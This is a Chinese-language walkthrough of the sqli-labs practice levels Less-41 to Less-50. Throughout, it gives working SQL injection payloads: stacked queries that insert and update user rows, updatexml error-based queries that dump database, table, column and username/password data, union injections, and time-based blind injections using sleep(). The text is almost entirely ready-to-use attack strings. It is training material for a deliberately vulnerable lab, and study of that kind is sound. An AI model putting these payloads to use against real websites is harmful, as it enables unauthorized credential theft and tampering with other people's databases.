Less-41
這一關還是用堆疊注入,這關數字型不需要閉合了。
用堆疊的話,我們就不爆信息了。我們直接用堆疊,往進去寫一條數據
?id=-1 union select 1,2,3;insert into users (id,username,password) values(666,'zk','180')--+
看一下插進去了沒
?id=-1 union select 1,(select group_concat(username, password) from users where id = 666),3 --+
好了。
Less-42
這一關變成以post傳參,防止它對我們拼接的語句編碼,所以我們就不在輸入框中嘗試了。
我們直接抓包,重放,發現輸密碼那里有回顯。
這里介紹一種標準的sql語句的注釋方法杠杠空格
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
接下來爆表
'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --
下面爆字段
'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --
下面爆數據
'and updatexml(1,concat(0x7e,(select group_concat(id,'~',username,'~',password)from users),0x7e),1) --
Less-43
這一關的注入點變了。這種關卡有很多方式都可以做
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
這一關單引號括號閉合,下面參考上一關語句
Less-44
這一關post聯合注入,注入點還是密碼那里,單引號注釋,井號閉合
爆庫
1' union select 1,database(),3 #
下面語句參考以上
Less-45
跟上一關一樣,但這一關是用單引號括號閉合的
爆庫
1') union select 1,database(),3 #
下面不說了
Less-46
這一關參數變了,它提示我們用sort傳參,試了發現是數字型的,直接構造語句爆庫
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
下面還是老樣子。
Less-47
這一關,還是報錯注入,比上一關多了一個單引號閉合,換湯不換藥。秒了
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
Less-48
這一關發現沒有任何回顯,我們考慮時間盲注
?sort=1 and sleep(1)
頁面直接延時,說明他執行了我們的語句,數字型
直接構造語句判斷數據庫長度
?sort=1 and if(length(database())>8,sleep(1),1)
當大于7時頁面延時,大于8時頁面不延時,說明數據庫長度是8
然后爆庫,構造語句
?sort=1 and if(substr(database(),1,1)='a',sleep(10),1)
截取數據庫第一位如果是a,則sleep(10)
但原理是這樣的,我們總不可能從a試到z吧,況且數據庫有8位。
所以直接抓包,設置
正確的會延時,這樣就得到了數據庫名。
接下來爆表
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a',sleep(3),1)
得出第4個表是users
接下來爆字段
?sort=1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='a',sleep(3),1)
得出users表中第二個字段是username
接下來,爆數據
?sort=1 and if(substr((select username from users limit 0,1),1,1)='D',sleep(3),1)
爆出第一個username字段是Dumb,你們還可以把密碼都爆出來。
Less-49
這一關和上一關一樣用時間盲注,閉合方式單引號。
判斷數據庫名長度
?sort=1' and if(length(database())>8,sleep(3),1) --+
發現7時頁面延時,8不延時,說明數據庫有8位。
接下來爆庫
?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+
下面參考上一關即可。
Less-50
這一關依舊是數字型堆疊注入,我們這回改它數據庫的一條數據,看能否成功,語句如下
1;update users set username='ZZKK' where id=1
可以看到攻擊成功了。